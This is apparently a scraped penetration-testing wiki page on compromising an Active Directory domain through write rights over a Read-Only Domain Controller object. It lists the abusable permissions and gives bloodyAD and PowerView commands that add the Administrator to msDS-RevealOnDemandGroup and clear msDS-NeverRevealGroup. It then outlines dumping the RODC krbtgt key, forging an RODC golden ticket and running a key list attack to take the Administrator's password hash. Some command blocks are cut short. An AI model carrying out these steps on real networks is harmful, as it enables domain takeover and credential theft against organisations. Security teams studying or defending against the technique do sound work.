Rights on RODC object
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
With administrative control over the computer object in the Active Directory, there is a path to fully compromise the domain. It is possible to modify the RODC’s msDS-NeverRevealGroup
and msDS-RevealOnDemandGroup
attributes to allow a Domain Admin to authenticate and dump his credentials via administrative access over the RODC host.
GenericAll
/ FullControl
WriteDacl
(the attacker can modify the DACL and obtain arbitrary permissions)
Owns
(c.f. WriteDacl
)
WriteOwner
(i.e. the attacker can obtain Owns
-> WriteDacl
-> other permissions)
WriteProperty
against the msDS-RevealOnDemandGroup
attribute in conjunction with another primitive to gain privileged access to the host. WriteProperty
against the msDS-NeverRevealGroup
attribute may be required if it includes the target account.
Alternative #1: using bloodyAD
# Get original msDS-RevealOnDemandGroup values
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object 'RODC-server$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup:
Then, dump the krbtgt_XXXXX
key on the RODC server with admin access on the host (this can be done by modifying the managedBy
attribute for example), and use it to forge a RODC golden ticket and conduct a key list attack to retrieve the domain Administrator's password hash.
Alternative #2: PowerView python package (Python) can be used to modify the LDAP attribute.
powerview "$DOMAIN"/"$USER":"$PASSWORD"@"RODC_FQDN"
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV
From Windows systems, PowerView (PowerShell) can be used for this purpose.
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
Then, dump the krbtgt_XXXXX
key on the RODC server with admin access on the host (this can be done by modifying the managedBy
attribute for example), and use it to forge a RODC golden ticket and conduct a key list attack to retrieve the domain Administrator's password hash.